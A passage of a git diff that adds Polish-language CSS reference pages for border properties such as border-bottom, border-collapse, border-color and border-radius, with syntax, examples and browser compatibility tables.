<dt>thick</dt> + <dd>Grube obramowanie.</dd> + <dt><length></dt> + <dd>Grubość obramowania ma sprecyzowaną wartość. Sprecyzowana szerokość obramowania nie może być ujemna.</dd> +</dl> + +<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2> + +<ul> + <li>{{ Cssxref("border-left-width") }}</li> + <li>{{ Cssxref("border-right-width") }}</li> + <li>{{ Cssxref("border-top-width") }}</li> + <li>{{ Cssxref("border-width") }}</li> +</ul> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p> + +<pre>element { + border-bottom-width: thin; + border-bottom-style: solid; + border-bottom-color: #000; +} +</pre> + +<h2 id="Specifications" name="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSS3 Backgrounds', '#the-border-width', 'border-bottom-width') }}</td> + <td>{{ Spec2('CSS3 Backgrounds') }}</td> + <td>No significant change</td> + </tr> + <tr> + <td>{{ SpecName('CSS2.1', 'box.html#border-width-properties', 'border-bottom-width') }}</td> + <td>{{ Spec2('CSS2.1') }}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>1.0 (1.0)</td> + <td>4.0</td> + <td>3.5</td> + <td>1.0 (85)</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_Also" name="See_Also">See also</h2> + +<ul> + <li>The other border-width-related CSS properties: {{ Cssxref("border-left-width") }}, {{ Cssxref("border-right-width") }}, {{ Cssxref("border-top-width") }}, and {{ Cssxref("border-width") }}</li> + <li>The other border-bottom-related CSS properties: {{ Cssxref("border") }}, {{ Cssxref("border-bottom") }}, {{ Cssxref("border-bottom-style") }}, and {{ Cssxref("border-bottom-color") }}.</li> +</ul> diff --git a/files/pl/web/css/border-bottom/index.html b/files/pl/web/css/border-bottom/index.html new file mode 100644 index 0000000000..8ff156c730 --- /dev/null +++ b/files/pl/web/css/border-bottom/index.html @@ -0,0 +1,146 @@ +--- +title: border-bottom +slug: Web/CSS/border-bottom +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-bottom +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność <code>border-bottom</code> jest skróconą własnością, która ustawia wartości dla następujących własności: {{ Cssxref("border-bottom-color") }}, {{ Cssxref("border-bottom-style") }} oraz {{ Cssxref("border-bottom-width") }}. Te własności opisują dolne obramowanie elementu.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: szczegóły zobacz w indywidualnych własnościach</li> + <li>Stosowana do: wszystkich elementów</li> + <li>{{ Xref_cssinherited() }}: nie</li> + <li>Procenty: niedostępne</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}: zobacz indywidualne własności</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">border-bottom: [ <border-width> || <border-style> || <border-color> ] | <em>inherit</em> +</pre> + +<h2 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h2> + +<dl> + <dt>border-width </dt> + <dd>Zobacz {{ Cssxref("border-bottom-width") }}.</dd> + <dt>border-style </dt> + <dd>Zobacz {{ Cssxref("border-bottom-style") }}.</dd> + <dt>border-color </dt> + <dd>Zobacz {{ Cssxref("border-bottom-color") }}.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p> + +<pre>element { + border-bottom-width: 1px solid #000; +} +</pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Trzy wartości skróconej własności mogą być określone w dowolnym porządku, zaś jedna lub dwie z nich mogą być pominięte.</p> + +<p>Jak w przypadku wszystkich skróconych własności, <code>border-bottom</code> zawsze ustawia wartości wszystkich własności, które może ustawić, nawet, jeśli nie są określone. Zatem te, które nie są zdefiniowane, ustawia do ich domyślnych wartości. Oznacza to, że:</p> + +<pre> border-bottom-style: dotted; + border-bottom: thick green;</pre> + +<p>jest dokładnie tym samym, co</p> + +<pre> border-bottom-style: dotted; + border-bottom: none thick green;</pre> + +<p>i wartość {{ Cssxref("border-bottom-style") }}, nadana przed <code>border-bottom</code>, jest ignorowana.</p> + +<p>Ponieważ domyślną wartością {{ Cssxref("border-bottom-style") }} jest <code>none</code>, nieokreślenie wartości składnika <code>border-style</code> oznacza, że własność ustawi brak obramowania.</p> + +<h2 id="Specifications" name="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSS3 Backgrounds', '#border-bottom', 'border-bottom') }}</td> + <td>{{ Spec2('CSS3 Backgrounds') }}</td> + <td>No direct changes, though the modification of values for the {{ cssxref("border-bottom-color") }} do apply to it.</td> + </tr> + <tr> + <td>{{ SpecName('CSS2.1', 'box.html#propdef-border-bottom', 'border-bottom') }}</td> + <td>{{ Spec2('CSS2.1') }}</td> + <td>No significant changes</td> + </tr> + <tr> + <td>{{ SpecName('CSS1', '#border-bottom', 'border-bottom') }}</td> + <td>{{ Spec2('CSS1') }}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{ CompatGeckoDesktop("1.0") }}</td> + <td>4</td> + <td>3.5</td> + <td>1.0 (85)</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{ CompatGeckoMobile("1.0") }}</td> + <td>{{ CompatVersionUnknown }}</td> + <td>{{ CompatVersionUnknown }}</td> + <td>{{ CompatVersionUnknown }}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/pl/web/css/border-collapse/index.html b/files/pl/web/css/border-collapse/index.html new file mode 100644 index 0000000000..24439aa553 --- /dev/null +++ b/files/pl/web/css/border-collapse/index.html @@ -0,0 +1,89 @@ +--- +title: border-collapse +slug: Web/CSS/border-collapse +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-collapse +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Własność border-collapse jest używana do stworzenia połączonych obramowań. Ma ona duży wpływ na wygląd i styl komórek tabeli. Wyświetlanie obramowań tabeli jest podzielone w CSS2 na dwie kategorie - "połączone" i "rozdzielone". Własność ta definiuje, którego rodzaju wyświetlania użyć. W modelu połączonych obramowań sąsiadujące komórki tabel współdzielą obramowania. W modelu rozdzielonych obramowań sąsiadujące komórki mają swoje własne odrębne obramowania (odległość między nimi określona jest przez własność 'border-spacing').</p> + +<ul> + <li>{{ Xref_cssinitial() }}: {{ Cssxref("separate") }}</li> + <li>{{ Xref_cssinherited() }}: Tak</li> + <li>Media : {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}:</li> +</ul> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">border-collapse: value +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<ul> + <li><strong>inherit</strong> : Ustawia wprost wartość tej własności na wartość rodzica.</li> + <li><strong>separate</strong> : Używa modelu wyświetlania "rozdzielonych obramowań".</li> + <li><strong>collapse</strong> : Używa modelu wyświetlania "połączonych obramowań".</li> +</ul> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<p><a href="/samples/cssref/border-collapse.html">Zobacz przykład</a></p> + +<pre><table border="1" style="border-collapse: collapse" bordercolor="#111111" width="500"> +</pre> + +<pre><table border="1" style="border-collapse: separate" bordercolor="#111111" width="500"> +</pre> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<p>W modelu wyświetlania "połączonych obramowań" wartość 'border-style' ustawiona na "inset" zachowuje się jak "groove", zaś "outset" zachowuje się jak "ridge". CSS2 definiuje, że wartością początkową dla tej własności jest "collapse", jednak CSS2.1 oraz Mozilla/Opera określają lub zachowują się tak, że wartością początkową jest "separate".</p> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS21/tables.html#collapsing-borders">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/REC-CSS2/tables.html#borders">CSS 3</a></li> +</ul> + +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>5.5</td> + </tr> + <tr> + <td>Netscape</td> + <td>7</td> + </tr> + <tr> + <td>Opera</td> + <td>5</td> + </tr> + </tbody> +</table> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref("border-spacing") }}</p> + +<p> </p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/CSS/border-collapse", "es": "es/CSS/border-collapse", "fr": "fr/CSS/border-collapse" } ) }}</p> diff --git a/files/pl/web/css/border-color/index.html b/files/pl/web/css/border-color/index.html new file mode 100644 index 0000000000..196f39d235 --- /dev/null +++ b/files/pl/web/css/border-color/index.html @@ -0,0 +1,135 @@ +--- +title: border-color +slug: Web/CSS/border-color +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-color +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność <code>border-color</code> jest skróconą własnością dla ustawienia koloru czterech krawędzi obramowania elementu.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">border-color: [ <color> || transparent ]{1,4} | <em>inherit</em> +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt><color> </dt> + <dd>Kolor może być zdefiniowany jako szesnastkowa wartość RGB, zwykła wartość RGB lub poprzez użycie jednego z predefiniowanych słów określających kolory.</dd> +</dl> + +<dl> + <dt>transparent </dt> + <dd>Obramowanie nie jest rysowane, ale zajmuje przestrzeń na stronie.</dd> +</dl> + +<p>Można ustawić do czterech wartości.</p> + +<p>Jeśli dana jest jedna wartość koloru, wtedy wszystkie cztery krawędzie są tego koloru.<br> + Jeśli dwie wartości - obramowanie górne i dolne używa pierwszej wartości, lewe i prawe używa drugiej.<br> + Jeśli trzy wartości - pierwsza jest dla górnej krawędzi, druga dla lewej i prawej, trzecia dla dolnej.<br> + Jesli cztery wartości - pierwsza dla górnego obramowania, druga dla prawego, trzecia dla dolnego i czwarta dla lewego.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p> + +<pre>element { + border-width: 1px; + border-style: solid; + border-color: black; +} +</pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>W celu zobaczenia obramowania musisz również ustawić {{ Cssxref("border-width") }} na wartość dodatnią oraz {{ Cssxref("border-style") }} na jakąś widoczną.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSS3 Backgrounds', '#border-color', 'border-color') }}</td> + <td>{{ Spec2('CSS3 Backgrounds') }}</td> + <td>The <code>transparent</code> keyword has been removed as it is now a part of the {{cssxref("<color>")}} data type.</td> + </tr> + <tr> + <td>{{ SpecName('CSS2.1', 'box.html#border-color-properties', 'border-color') }}</td> + <td>{{ Spec2('CSS2.1') }}</td> + <td>The property is now a shorthand property</td> + </tr> + <tr> + <td>{{ SpecName('CSS1', '#border-color', 'border-color') }}</td> + <td>{{ Spec2('CSS1') }}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{ CompatGeckoDesktop("1.0") }} [1]</td> + <td>4.0</td> + <td>3.5</td> + <td>1.0 (85)</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>4.0</td> + <td>{{ CompatGeckoMobile("1.9.2") }} [1]</td> + <td>7.0</td> + <td>11</td> + <td>1.0</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/pl/web/css/border-left-color/index.html b/files/pl/web/css/border-left-color/index.html new file mode 100644 index 0000000000..80338c4cf0 --- /dev/null +++ b/files/pl/web/css/border-left-color/index.html @@ -0,0 +1,109 @@ +--- +title: border-left-color +slug: Web/CSS/border-left-color +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-left-color +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><code>border-left-color</code> ustala kolor lewego obramowania elementu, poprzez konkretną wartość lub przez słowo kluczowe <code>transparent</code>.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: własność {{ Cssxref("color") }}</li> + <li>Stosowana do: wszystkich elementów</li> + <li>{{ Xref_cssinherited() }}: nie</li> + <li>Procenty: niedostępne</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}: gdy brane z własności 'color', wartość wyliczona 'color'; w innym przypadki, wartość podana</li> +</ul> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">border-left-color: <em>color</em> | transparent | inherit +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>color </dt> + <dd>Kolor może zostać podany przy pomocy szesnastkowej reprezentacji RGB, zwykłej wartości RGB lub przez predefiniowane słowo klucz.</dd> + <dt>transparent </dt> + <dd>Element nie ma własnego koloru, pokazuje kolor elementu spod niego.</dd> +</dl> + +<h3 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h3> + +<ul> + <li>{{ Cssxref("border-color") }}</li> + <li>{{ Cssxref("border-bottom-color") }}</li> + <li>{{ Cssxref("border-right-color") }}</li> + <li>{{ Cssxref("border-top-color") }}</li> +</ul> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p> + +<pre>element { + width: 300px; + padding: 15px; + border-bottom-size: 1px; + border-bottom-style: solid; + border-bottom-color: #000; +} + +</pre> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<ul> + <li><a class="external" href="http://html-color-codes.com/">Color Chart by VisiBone</a></li> +</ul> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#propdef-border-left-color">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-background/#border-left">CSS 3</a></li> +</ul> + +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>4</td> + </tr> + <tr> + <td>Firefox</td> + <td>1</td> + </tr> + <tr> + <td>Netscape</td> + <td>6</td> + </tr> + <tr> + <td>Opera</td> + <td>3.5</td> + </tr> + </tbody> +</table> + +<p> </p> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref("border") }}, {{ Cssxref("border-left") }}, {{ Cssxref("border-left-style") }}, {{ Cssxref("border-left-width") }},</p> + +<p>{{ languages( { "de": "de/CSS/border-left-color", "en": "en/CSS/border-left-color", "fr": "fr/CSS/border-left-color", "ja": "ja/CSS/border-left-color" } ) }}</p> diff --git a/files/pl/web/css/border-left-style/index.html b/files/pl/web/css/border-left-style/index.html new file mode 100644 index 0000000000..f1bbd8935b --- /dev/null +++ b/files/pl/web/css/border-left-style/index.html @@ -0,0 +1,16 @@ +--- +title: border-left-style +slug: Web/CSS/border-left-style +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-left-style +--- +<p>{{ CSSRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>border-left-style</code> ustawia styl linii lewego obramowania bloku.</p> +<p>Zobacz własność <code><a href="/pl/CSS/border-bottom-style" title="pl/CSS/border-bottom-style">border-bottom-style</a></code>, aby uzyskać więcej informacji.</p> + +<p>{{ languages( { "de": "de/CSS/border-left-style", "en": "en/CSS/border-left-style", "fr": "fr/CSS/border-left-style", "ja": "ja/CSS/border-left-style" } ) }}</p> diff --git a/files/pl/web/css/border-left-width/index.html b/files/pl/web/css/border-left-width/index.html new file mode 100644 index 0000000000..59ad05cd1a --- /dev/null +++ b/files/pl/web/css/border-left-width/index.html @@ -0,0 +1,19 @@ +--- +title: border-left-width +slug: Web/CSS/border-left-width +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-left-width +--- +<p> {{ CSSRef() }} +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p><code>border-left-width</code> ustawia szerokość lewego obramowania bloku. +</p><p>Zobacz właściwość <a href="pl/CSS/border-bottom-width">border-bottom-width</a>, aby uzyskać więcej informacji. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/CSS/border-left-width", "fr": "fr/CSS/border-left-width" } ) }} diff --git a/files/pl/web/css/border-left/index.html b/files/pl/web/css/border-left/index.html new file mode 100644 index 0000000000..0a6ff6563a --- /dev/null +++ b/files/pl/web/css/border-left/index.html @@ -0,0 +1,123 @@ +--- +title: border-left +slug: Web/CSS/border-left +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-left +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność <code>border-left</code> jest skróconą własnością dla ustawienia szerokości stylu i koloru lewej krawędzi elementu. Ta własność może być używana do ustawienia jednej lub kilku wartości: {{ Cssxref("border-left-width") }}, {{ Cssxref("border-left-style") }}, {{ Cssxref("border-left-color") }}. Pominięte wartości są ustawiane do ich wartości początkowych.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">border-left: [<em>border-width</em> || <em>border-style</em> || <em>border-color</em> | <em>inherit</em>] ; +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>border-width</dt> + <dd>Zobacz {{ Cssxref("border-width") }}.</dd> + <dt>border-style </dt> + <dd>Zobacz {{ Cssxref("border-style") }}.</dd> + <dt>border-color </dt> + <dd>Zobacz {{ Cssxref("border-color") }}.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>element { + border-left: 1px solid #000; +} +</pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Jeśli reguła nie określi koloru krawędzi, krawędź będzie miała kolor zdefiniowany przez własność {{ Cssxref("color") }}.</p> + +<h2 id="Specifications" name="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSS3 Backgrounds', '#border-left', 'border-left') }}</td> + <td>{{ Spec2('CSS3 Backgrounds') }}</td> + <td>No direct changes, though the modification of values for the {{ cssxref("border-left-color") }} do apply to it.</td> + </tr> + <tr> + <td>{{ SpecName('CSS2.1', 'box.html#propdef-border-left', 'border-left') }}</td> + <td>{{ Spec2('CSS2.1') }}</td> + <td>No significant changes</td> + </tr> + <tr> + <td>{{ SpecName('CSS1', '#border-left', 'border-left') }}</td> + <td>{{ Spec2('CSS1') }}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{ CompatGeckoDesktop("1.0") }}</td> + <td>4</td> + <td>3.5</td> + <td>1.0 (85)</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{ CompatGeckoMobile("1.0") }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/pl/web/css/border-radius/index.html b/files/pl/web/css/border-radius/index.html new file mode 100644 index 0000000000..ee38420619 --- /dev/null +++ b/files/pl/web/css/border-radius/index.html @@ -0,0 +1,69 @@ +--- +title: border-radius +slug: Web/CSS/border-radius +tags: + - CSS + - 'CSS:Dokumentacje' + - 'CSS:Rozszerzenia_Mozilli' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-radius +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>W aplikacjach opartych <code>border-radius</code> może być używany do nadawania obramowaniom zaokrąglonych rogów.</p> + +<ul> + <li>Wartość początkowa: 0</li> + <li>Dotyczy: wszystkich elementów</li> + <li>Dziedziczony: nie</li> +</ul> + +<p><code>border-radius</code> nie stosuje się do elementów tabel, kiedy własność {{ Cssxref("border-collapse") }} ustawiona jest na <code>collapse</code>.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">-moz-border-radius: <border-radius>{1,4} | inherit +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<p><border-radius> reprezentuje jedną z wartości:</p> + +<dl> + <dt><length></dt> + <dd>szerokość</dd> + <dt><percentage></dt> + <dd>procenty, względem długości boksu</dd> +</dl> + +<p>Zatem są używane 4 wartości w porządku górny-lewy, górny-prawy, dolny-prawy i dolny-lewy. Jeśli podane są mniej niż 4 wartości, lista wartości jest powtarzana do wypełnienia pozostałych wartości.</p> + +<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2> + +<ul> + <li><a href="/pl/CSS/-moz-border-radius-bottomleft" title="pl/CSS/-moz-border-radius-bottomleft">-moz-border-radius-bottomleft</a> ustawia zaokrąglenie dla dolnego lewego rogu.</li> + <li><a href="/pl/CSS/-moz-border-radius-bottomright" title="pl/CSS/-moz-border-radius-bottomright">-moz-border-radius-bottomright</a> ustawia zaokrąglenie dla dolnego prawego rogu.</li> + <li><a href="/pl/CSS/-moz-border-radius-topleft" title="pl/CSS/-moz-border-radius-topleft">-moz-border-radius-topleft</a> ustawia zaokrąglenie dla górnego lewego rogu.</li> + <li><a href="/pl/CSS/-moz-border-radius-topright" title="pl/CSS/-moz-border-radius-topright">-moz-border-radius-topright</a> ustawia zaokrąglenie dla górnego prawego rogu.</li> +</ul> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>hbox.example { + border: 10px solid #000000; + width: 500px; + height: 500px; + /* obramowanie wygnie się w kształt 'D' */ + -moz-border-radius: 10px 200px 200px 10px; +} +</pre> + +<h2 id="Znane_b.C5.82.C4.99dy" name="Znane_b.C5.82.C4.99dy">Znane błędy</h2> + +<ul> + <li>Obrazek tła wysypuje się poza zaokrąglone obramowania. {{ Bug(24998) }}</li> + <li>Zaokrąglone obramowania wspierają tylko wartość <code>solid</code> własności {{ Cssxref("border-style") }}. {{ Bug(13944) }}</li> +</ul> diff --git a/files/pl/web/css/border-right-color/index.html b/files/pl/web/css/border-right-color/index.html new file mode 100644 index 0000000000..7b17b50b3b --- /dev/null +++ b/files/pl/web/css/border-right-color/index.html @@ -0,0 +1,16 @@ +--- +title: border-right-color +slug: Web/CSS/border-right-color +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-right-color +--- +<p>{{ CSSRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>border-right-color</code> ustala kolor prawego obramowania elementu.</p> +<p>Zobacz również własność <code><a href="/pl/CSS/border-bottom-color" title="pl/CSS/border-bottom-color">border-bottom-color</a></code>.</p> + +<p>{{ languages( { "de": "de/CSS/border-right-color", "en": "en/CSS/border-right-color", "fr": "fr/CSS/border-right-color", "ja": "ja/CSS/border-right-color" } ) }}</p> diff --git a/files/pl/web/css/border-right-style/index.html b/files/pl/web/css/border-right-style/index.html new file mode 100644 index 0000000000..eef2e15cdd --- /dev/null +++ b/files/pl/web/css/border-right-style/index.html @@ -0,0 +1,16 @@ +--- +title: border-right-style +slug: Web/CSS/border-right-style +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-right-style +--- +<p>{{ CSSRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>border-right-style</code> ustawia styl linii prawego obramowania bloku.</p> +<p>Zobacz własność <code><a href="/pl/CSS/border-bottom-style" title="pl/CSS/border-bottom-style">border-bottom-style</a></code>, aby uzyskać więcej informacji.</p> + +<p>{{ languages( { "de": "de/CSS/border-right-style", "en": "en/CSS/border-right-style", "fr": "fr/CSS/border-right-style", "ja": "ja/CSS/border-right-style" } ) }}</p> diff --git a/files/pl/web/css/border-right-width/index.html b/files/pl/web/css/border-right-width/index.html new file mode 100644 index 0000000000..ea649dc284 --- /dev/null +++ b/files/pl/web/css/border-right-width/index.html @@ -0,0 +1,17 @@ +--- +title: border-right-width +slug: Web/CSS/border-right-width +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie + - border width +translation_of: Web/CSS/border-right-width +--- +<p>{{ CSSRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>border-right-width</code> ustawia szerokość prawego obramowania bloku.</p> +<p>Zobacz własność <code><a 